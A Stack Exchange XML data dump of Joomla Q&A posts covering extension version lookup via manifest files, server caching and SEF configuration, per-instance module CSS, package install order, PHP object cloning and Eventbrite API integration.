  <row Id="24883" PostTypeId="2" ParentId="24882" CreationDate="2019-07-04T14:56:10.067" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;the extension is an aggregate of modules, plugins and components? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;extension&lt;/strong&gt;, is not the combination of a component, module and plugin. This is what a &lt;strong&gt;package&lt;/strong&gt; is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins, Modules, Components, Templates are all &lt;strong&gt;types&lt;/strong&gt; of extensions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So if I'm right, than modules, plugins and components have the same versions. Is it also true? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. They're all separate, so they'll use different versions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But how to find out the version of extensions if there is no such a record?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In your Joomla backend (admin panel), go to &lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Manage&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Manage&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you a list of all installed extensions and their respective version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Dpqd6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dpqd6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-07-04T14:56:10.067" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24884" PostTypeId="2" ParentId="24882" CreationDate="2019-07-04T16:16:37.050" Score="3" Body="&lt;p&gt;If you're not an administrator of the site, you can't have this information in full. If you know which extensions are installed, you can check their versions by accessing their manifest files. For example, you can find out Joomla! version by accessing &lt;code&gt;administrator/manifests/files/joomla.xml&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest you can get to finding out which extensions are installed is by compiling a list of as many extensions as you can find in the wild and writing a script to check if the manifest files exist on the website.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-07-04T16:16:37.050" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24885" PostTypeId="2" ParentId="24882" CreationDate="2019-07-05T00:24:44.310" Score="1" Body="&lt;p&gt;&lt;strong&gt;* Update *&lt;/strong&gt;&#xA;I posted this answer and then later checked the answers by Sharky and later, Neil Roberts, saying the .xml files are available. I tested this on one of my sites, so I was very surprised that this information is available and I will have to do something about that.&#xA;I have left my original answer here for general reference and voted up the Answers by the others saying look for the manifest xml file in the component directories.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That information is not available to an end user or visitor to a website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will either need Administrator access to the back end of Joomla or access to run a database query and unless you have hacked the site you wont have that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a public viewer of a website you are only going to be able to see what is available in the HTML being displayed. As explained in Lodder's answer Extensions are comprised of plugin, modules and components and for the most part they happen on the server side of things to build the pages that are then rendered and sent to your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some components may display a back link or 'powered by ....' text in the footer of a page, that is by deliberate action on their part in their code, but normally plugins and modules will barely leave any trace of themselves let alone their version. A plugin executed deep in the code of Joomla that changes a value from A to B isn't going get any credits at the bottom of a page like say people who work on a Movie get listed at the end.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could analyse the HTML code of every page of a Joomla site and slowly build up a catalogue of breadcrumbs of evidence that an extension may or may not have had a hand in creating a page, but there would be no reliable version information. It would also take that long I would suggest you don't have that many breathes left in you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps if you explain more about the the research you are doing and what your requirement is then perhaps people on here could suggest an alternative approach.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-07-05T11:49:51.830" LastActivityDate="2019-07-05T11:49:51.830" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24886" PostTypeId="2" ParentId="24882" CreationDate="2019-07-05T00:34:56.460" Score="1" Body="&lt;p&gt;As &lt;a href=&quot;https://joomla.stackexchange.com/users/12652/sharky&quot;&gt;Sharky&lt;/a&gt; says, if you don't have administrator access to the database, the best way to find out this information is from the publicly accessible files on the website such as the xml manifest files. The security on some websites does not permit you to view these files so this method is not always reliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when you do have access to the manifest files, not all versions of an extension use the same manifest file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some examples, see the code below where Akeeba Backup and JCE Editor use the same manifest file for all versions but for ChronoForms and Gantry Framework, you need to check several files to get the version number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Display Akeeba Version&#xA;echo &quot;&amp;lt;div class='item'&amp;gt;Akeeba Version:&amp;lt;/div&amp;gt;&quot;;&#xA;$xml = simplexml_load_file($website . &quot;/administrator/components/com_akeeba/akeeba.xml&quot;);&#xA;if (isset($xml-&amp;gt;version)) {&#xA;  echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;} else {&#xA;  echo &quot;&amp;lt;div class='column'&amp;gt;Unknown&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&#xA;// Display JCE Version&#xA;echo &quot;&amp;lt;div class='item'&amp;gt;JCE Version:&amp;lt;/div&amp;gt;&quot;;&#xA;$xml = simplexml_load_file($website . &quot;/administrator/components/com_jce/jce.xml&quot;);&#xA;if (isset($xml-&amp;gt;version)) {&#xA;  echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;} else {&#xA;  echo &quot;&amp;lt;div class='column'&amp;gt;Unknown&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&#xA;// Display ChronoForms Version&#xA;echo &quot;&amp;lt;div class='item'&amp;gt;ChronoForms Version:&amp;lt;/div&amp;gt;&quot;;&#xA;$xml = simplexml_load_file($website . &quot;/administrator/components/com_chronoforms6/chronoforms6.xml&quot;);&#xA;if (isset($xml-&amp;gt;version)) {&#xA;  //ChronoForms v6&#xA;  echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;} else {&#xA;  $xml = simplexml_load_file($website . &quot;/administrator/components/com_chronoforms5/chronoforms5.xml&quot;);&#xA;  if (isset($xml-&amp;gt;version)) {&#xA;    //ChronoForms v5&#xA;    echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;  } else {&#xA;    $xml = simplexml_load_file($website . &quot;/administrator/components/com_chronoforms/chronoforms.xml&quot;);&#xA;    if (isset($xml-&amp;gt;version)) {&#xA;      //ChronoForms v4&#xA;      echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;    } else {&#xA;      $xml = simplexml_load_file($website . &quot;/administrator/components/com_chronocontact/chronocontact.xml&quot;);&#xA;      if (isset($xml-&amp;gt;version)) {&#xA;        //ChronoForms v3&#xA;        echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;      } else {&#xA;        //Unknown&#xA;        echo &quot;&amp;lt;div class='column'&amp;gt;Unknown&amp;lt;/div&amp;gt;&quot;;&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;// Display Gantry Version&#xA;echo &quot;&amp;lt;div class='item'&amp;gt;Gantry Version:&amp;lt;/div&amp;gt;&quot;;&#xA;$xml = simplexml_load_file($website . &quot;/administrator/components/com_gantry5/gantry5.xml&quot;);&#xA;if (isset($xml-&amp;gt;version)) {&#xA;  //Gantry v5&#xA;  echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;} else {&#xA;  $xml = simplexml_load_file($website . &quot;/administrator/components/com_gantry/gantry.xml&quot;);&#xA;  if (isset($xml-&amp;gt;version)) {&#xA;    //Gantry v4&#xA;    echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;  } else {&#xA;    $xml = simplexml_load_file($website . &quot;/administrator/components/com_gantry/manifest.xml&quot;);&#xA;    if (isset($xml-&amp;gt;version)) {&#xA;      //Gantry v3&#xA;      echo &quot;&amp;lt;div class='column'&amp;gt;$xml-&amp;gt;version&amp;lt;/div&amp;gt;&quot;;&#xA;    } else {&#xA;      //Unknown&#xA;      echo &quot;&amp;lt;div class='column'&amp;gt;Unknown&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-07-05T00:34:56.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24887" PostTypeId="2" ParentId="24882" CreationDate="2019-07-05T04:28:58.877" Score="3" Body="&lt;p&gt;As @Sharky said, you can check the extension versions by accessing their manifest files. Here are the path of those files for each type of extension :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Component :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../administrator/components/com_extension_name/extension_name.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../modules/mod_extension_name/mod_extension_name.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugin :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../plugins/plugin_type/extension_name/extension_name.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template :&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../templates/extension_name/templateDetails.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2019-07-05T04:28:58.877" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24888" PostTypeId="2" ParentId="10181" CreationDate="2019-07-05T09:16:15.090" Score="2" Body="&lt;p&gt;I was having the same problem, and found a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable the following items:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $ caching = '';&#xA;public $ cache_handler = 'file'; # (replace memcache, per file)&#xA;public $ cachetime = '1600';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Memcache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $ memcached_persist = '0'; # I was in '1'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Live Site&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $ live_site = ''; # (remove the full domain name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Gzip&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $ gzip = '0'; # (disable, after running ... test the activation)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sef&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# (Disable as below, after running test enable)&#xA;&#xA;public $ sef = '0';&#xA;public $ sef_rewrite = '0';&#xA;public $ sef_suffix = '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In case of error 404 for other pages, possibly the SEF is enabled.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check the .htacess (Rewrite enabled)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Activate Rewrite&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd / etc / apache2 / mods-available&#xA;a2enmod rewrite&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For SEF in NGINX with PHP-FPM&lt;/strong&gt;&#xA;Put in domain configuration (etc / nginx / sites-available / SITE.conf)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; server {&#xA;     listen ## IP ### or *: 80;&#xA;     server_name MYSITE.com www.MYSITE.com;&#xA;     root / home / MYSITE / public_html;&#xA;     index.php index.html index.htm; #### VERIFY THIS ORDER&#xA;     access_log /var/log/MYSITE.com_access_log;&#xA;     error_log /var/log/MYSITE.com_error_log;&#xA;     fastcgi_param GATEWAY_INTERFACE CGI / 1.1;&#xA;     fastcgi_param SERVER_SOFTWARE nginx;&#xA;     fastcgi_param QUERY_STRING $ query_string;&#xA;     fastcgi_param REQUEST_METHOD $ request_method;&#xA;     fastcgi_param CONTENT_TYPE $ content_type;&#xA;     fastcgi_param CONTENT_LENGTH $ content_length;&#xA;     fastcgi_param SCRIPT_FILENAME / home / MYSITE / public_html $                            &#xA;     fastcgi_script_name;&#xA;     fastcgi_param SCRIPT_NAME $ fastcgi_script_name;&#xA;     fastcgi_param REQUEST_URI $ request_uri;&#xA;     fastcgi_param DOCUMENT_URI $ document_uri;&#xA;     fastcgi_param DOCUMENT_ROOT / home / MYSITE / public_html;&#xA;     fastcgi_param SERVER_PROTOCOL $ server_protocol;&#xA;     fastcgi_param REMOTE_ADDR $ remote_addr;&#xA;     fastcgi_param REMOTE_PORT $ remote_port;&#xA;     fastcgi_param SERVER_ADDR $ server_addr;&#xA;     fastcgi_param SERVER_PORT $ server_port;&#xA;     fastcgi_param SERVER_NAME $ server_name;&#xA;     fastcgi_param HTTPS $ https;&#xA;     ##-&amp;gt; see that it is uncommented ## location ~ \ .php $ {&#xA;     ##-&amp;gt; uncommented ## try_files $ uri = 404;&#xA;     ## -&amp;gt; uncommented ## fastcgi_pass unix: /var/php-nginx/172882919829029351.sock/socket;&#xA;     location / {&#xA;         try_files $ uri /index.php;&#xA;     }&#xA;     location ~ \ .php $ {&#xA;         try_files $ uri = 404;&#xA;         fastcgi_split_path_info ^ (. + \. php) (/.+) $;&#xA;         fastcgi_pass localhost: 8001;&#xA;         fastcgi_read_timeout 6000;&#xA;         -&amp;gt; configuration for SSL HTS #add_header Strict-Transport-Security &quot;max-age = 31536000; includeSubDomains&quot; always;   &#xA;     }&#xA;     location ~ \ .user \ .ini $ {&#xA;         deny all;&#xA;     }&#xA;     listen ### IP or *: 443 ssl;&#xA;     ssl_certificate /home/mysite/ssl.cert;&#xA;     ssl_certificate_key /home/mysite/ssl.key;&#xA;     fastcgi_read_timeout 3000;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12587" LastEditorUserId="12352" LastEditDate="2019-07-05T09:55:14.780" LastActivityDate="2019-07-05T09:55:14.780" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24890" PostTypeId="1" CreationDate="2019-07-05T17:57:43.817" Score="4" ViewCount="143" Body="&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; see the Update below for the current status of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a module that has to display a variable number of rows, based on how the user configures it in the back-end, and several instances of the module need to be displayed on the same page (with potentially different numbers of rows). My approach is to use a grid layout. The main challenge is styling it so the rows appear at the bottom of the div rather than the top, in a way that can be applied to all instances at once. My first attempt was to pass the number of rows to my CSS in the form of a CSS variable, as well as the padding. This is roughly what my code looked like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$modulePath = JURI::base() . 'modules/mod_my_module/';&#xA;$document-&amp;gt;addScript($modulePath.'media/script.js');&#xA;$document-&amp;gt;addStyleSheet($modulePath.'media/stylesheet.css');&#xA;...&#xA;$rows_array = $params-&amp;gt;get(&quot;rows&quot;);&#xA;$number_of_divs = count($rows_array);&#xA;$padding = 100 - (10 * $number_of_divs);&#xA;$style = &quot;:root { --rowNum: &quot; . $number_of_divs . &quot;; --padding: &quot; . $padding . &quot;%;}&quot;;&#xA;$document-&amp;gt;addStyleDeclaration($style);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my CSS I'm using these variables in a grid layout, like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;display: grid;&#xA;grid-template-rows: var(--padding) repeat(var(--rowNum), 10%); &#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I have a single instance of my module this works fine, but if I have several instances rendered in the same page then these variable declarations collide and it doesn't work anymore. I think the issue is that &lt;code&gt;$document-&amp;gt;addStyleDeclaration($style);&lt;/code&gt; is applying the style rule to a global style-sheet, but I need to do something that only affects the style of the particular instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I style the different instances of the module with different numbers of rows? Should I be dynamically adding the rows using Javascript instead?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I've also tried an approach that doesn't use CSS variables, by adding unique ids to the divs I'm trying to style by fetching their module ids, like &lt;code&gt;id=&quot;my-module-&amp;lt;?php echo $module-&amp;gt;id ?&amp;gt;&quot;&lt;/code&gt;. Then instead of having the grid style rules in my style.css file I add the php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$style = &#xA;    &quot;#my-module-&quot; . $module-&amp;gt;id . &quot;{ &quot; .&#xA;        &quot;display: grid; &quot; . &#xA;        &quot;grid-template-rows: &quot; . $padding . &quot;% repeat(&quot; . $number_of_divs . &quot;, 10%); &quot; .&#xA;        &quot;grid-template-columns: 60% 40%; &quot; .  &#xA;        &quot;justify-content: end;&quot; .&#xA;        &quot;}&quot;;&#xA;$document-&amp;gt;addStyleDeclaration($style);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the problem is that this works for the &lt;em&gt;first&lt;/em&gt; module rendered, but not the second. I have no clue why. I've inspected the containers and they have the right ids, I've also tried moving this code from my_module.php to default.php to see if it made a difference and it doesn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it adding the style declaration and using the right styling for the first rendered instance but not the second?&lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="13088" LastEditDate="2019-07-05T19:29:22.360" LastActivityDate="2019-07-05T20:31:57.697" Title="Getting CSS style to vary with different module instances" Tags="|module|css|module-display|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24891" PostTypeId="2" ParentId="24890" CreationDate="2019-07-05T20:31:57.697" Score="4" Body="&lt;p&gt;I figured out my problems, so I thought I would answer my own question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;strong&gt;Different styling for different instances of the same module&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget Joomla has unique module ids! And there's an extremely easy way to access them! You can give the elements in your module instances unique ids by doing something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;my-module-container&quot;&#xA;     id=&quot;my-module-container-&amp;lt;?php echo $module-&amp;gt;id ?&amp;gt;&quot;&amp;gt; &#xA;    &amp;lt;p&amp;gt;content&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now you can uniquely target this element with styling rules, using your module instance's id. (There are probably lots of other great ways of doing this and I don't know about any particular conventions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;strong&gt;Grid layout being weird&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem was because I guess &lt;code&gt;grid&lt;/code&gt; is kind of weird! I managed to resolve my problem by keeping the &lt;code&gt;grid&lt;/code&gt; declaration in my CSS, and then adding the other style rules using Joomla. Basically in my &lt;code&gt;style.css&lt;/code&gt; file I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.my-module-container {&#xA;   display: grid;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which adds the &lt;code&gt;grid&lt;/code&gt; display property to all of the instances of the container, and in my pre-processing I add the particular style rules to my instance with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$number_of_rows = MyModuleHelper::NumberOfRows($params);&#xA;$padding = 100 - (10 * $number_of_rows);&#xA;$style = &#xA;    &quot;#my-module-container-&quot; . $module-&amp;gt;id . &quot;{ &quot; .&#xA;        &quot;grid-template-rows: &quot; . $padding . &quot;% repeat(&quot; . $number_of_rows . &quot;, 10%); &quot; .&#xA;        &quot;grid-template-columns: 60% 40%; &quot; .  &#xA;        &quot;justify-content: end;&quot; .&#xA;    &quot;}&quot;;&#xA;$document-&amp;gt;addStyleDeclaration($style);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like I said, now it works (at least in Chrome and Firefox), but I don't fully understand why. Before, when I didn't have &lt;code&gt;display: grid;&lt;/code&gt; in the CSS for the class and would have Joomla add it to the particular instance by its id, it would correctly apply the style to the first rendered instance of it, but then none of the others. I know &lt;code&gt;grid&lt;/code&gt; is very particular about the order in which you add the rules, but I don't know all the subtleties. Maybe someone who knows more about how &lt;code&gt;grid&lt;/code&gt; works can explain?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If anyone has comments or criticisms about my current solution I would really appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="13088" LastActivityDate="2019-07-05T20:31:57.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24892" PostTypeId="2" ParentId="17794" CreationDate="2019-07-05T22:52:41.350" Score="0" Body="&lt;p&gt;here is a working solution! You are welcome ! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('Content-type: text/html; charset=utf-8');&#xA;mb_internal_encoding(&quot;UTF-8&quot;);&#xA;defined('_JEXEC') or die;&#xA;&#xA;require_once T3_TEMPLATE_PATH . '/helper.php';&#xA;&#xA;// get featured items&#xA;$app      = JFactory::getApplication();&#xA;$params   = $this-&amp;gt;params;&#xA;$catid = $app-&amp;gt;input-&amp;gt;getInt('id');&#xA;&#xA;$items = JATemplateHelper::getArticles($params, $catid, 0);&#xA;$groups = array();&#xA;$other = '*';&#xA;$letters = 'абвгдеёжзийклмнопрстуфхцчшщыэюяabcdefghijklmnopqrstuvwxyz';&#xA;&#xA;&#xA;for ($i = 0; $i &amp;lt; mb_strlen($letters, &quot;UTF-8&quot;) ; $i++) {&#xA;$group = mb_substr($letters,$i, 1,&quot;UTF-8&quot;);&#xA;&#xA;  $groups[$group] = array();&#xA;}&#xA;$groups[$other] = array();&#xA;&#xA;foreach ($items as $item) {&#xA;    $title = clean_special_chars ($item-&amp;gt;title);&#xA;&#xA;     $firstChar = mb_convert_case(mb_substr($title,0, 1,&quot;UTF-8&quot;) , MB_CASE_LOWER, &quot;UTF-8&quot;);&#xA;&#xA;     if (array_key_exists($firstChar, $groups)){  &#xA;    $groups[$firstChar][] = $item;  &#xA; } else {  &#xA;    $groups[$other][] = $item;  &#xA; }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13625" LastEditorUserId="13625" LastEditDate="2019-07-05T22:57:56.157" LastActivityDate="2019-07-05T22:57:56.157" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24895" PostTypeId="1" CreationDate="2019-07-07T21:59:10.630" Score="1" ViewCount="31" Body="&lt;p&gt;I have a package with a component and plugin, and I need to ensure that the component is installed before the plugin during the installation process (as the plugin installer has a dependency on a database table installed by the component). Does anyone know if that's the default behaviour (alphabetical -- the Joomla! way?)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there a way to control the order, maybe the order extensions are listed in the &lt;code&gt;pkg_mycomponent.xml&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="12558" LastActivityDate="2019-07-08T05:43:16.880" Title="Is the order of extension installation guaranteed in a package?" Tags="|jinstaller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24896" PostTypeId="2" ParentId="24895" CreationDate="2019-07-08T05:43:16.880" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If not, is there a way to control the order, maybe the order extensions are listed in the pkg_mycomponent.xml file?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, extensions are installed in the same order they're listed in package manifest file.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-07-08T05:43:16.880" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24897" PostTypeId="2" ParentId="23335" CreationDate="2019-07-08T09:55:04.580" Score="1" Body="&lt;p&gt;Object cloning is done so that subsequent actions on the object are applied purely to the &quot;detached replica&quot; (cloned object) and not the original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By not cloning, in other words just declaring the preexisting object as a new variable, you enjoy (or not) the effects of using a reference variable.  In all usages and for the life of the two variables, all actions on either variable -- will be &quot;shared&quot; and will affect both objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is more to this story regarding &quot;shallows copies&quot; and &quot;deep copies&quot;, but I'm probably not well positioned to speak on this.  If there are fringe cases that defy the &lt;em&gt;truths&lt;/em&gt; that I have stated above, then I am unaware of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've extended &lt;a href=&quot;https://stackoverflow.com/a/2144654/2943403&quot;&gt;this Stack Overflow snippet&lt;/a&gt; to show the marriage between non-cloned objects, and the independence of cloned objects.  &lt;a href=&quot;https://3v4l.org/rN6kU&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an example where cloning is beneficial during the process of building a mysql query with separate Joomla database objects. Scroll to the bottom of my answer at &lt;a href=&quot;https://joomla.stackexchange.com/a/24148/12352&quot;&gt;https://joomla.stackexchange.com/a/24148/12352&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-07-08T09:55:04.580" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24898" PostTypeId="1" AcceptedAnswerId="28315" CreationDate="2019-07-08T10:59:45.133" Score="4" ViewCount="611" Body="&lt;p&gt;I am looking for a way to integrate &lt;a href=&quot;http://www.eventbrite.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Eventbrite&lt;/a&gt; with Joomla. I want to show a list of upcoming events that I have created. There are a number of default widgets available with Eventbrite (copy / paste html code) but they are pretty basic, so I think i'll have to create some sort of custom component / plugin using their &lt;a href=&quot;https://www.eventbrite.com/platform/api&quot; rel=&quot;nofollow noreferrer&quot;&gt;API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where to start with this development, and was wondering if anyone had similar experience, or can point me in the right direction. I've been experimenting with their API (using the Postman app) and I am able to retrieve a list of events using the following API endpoint&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.eventbriteapi.com/v3/users/me/events?token=mytoken&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns a JSON list of events and details. I'm not sure how I take this and integrate it with Joomla though. Ideally I would like to be able to create a new module (Upcoming Events), and display this on various pages throughout my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appears to be a lot of WP plugins available for Eventbrite, the only Joomla one I could find is called &lt;a href=&quot;http://combrite.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Combrite&lt;/a&gt; - although every time I enter my email address to receive the download link it never arrives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-07-27T13:15:54.997" Title="Joomla and Eventbrite Integration" Tags="|joomla-3.x|component|module|plugin|custom-component|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
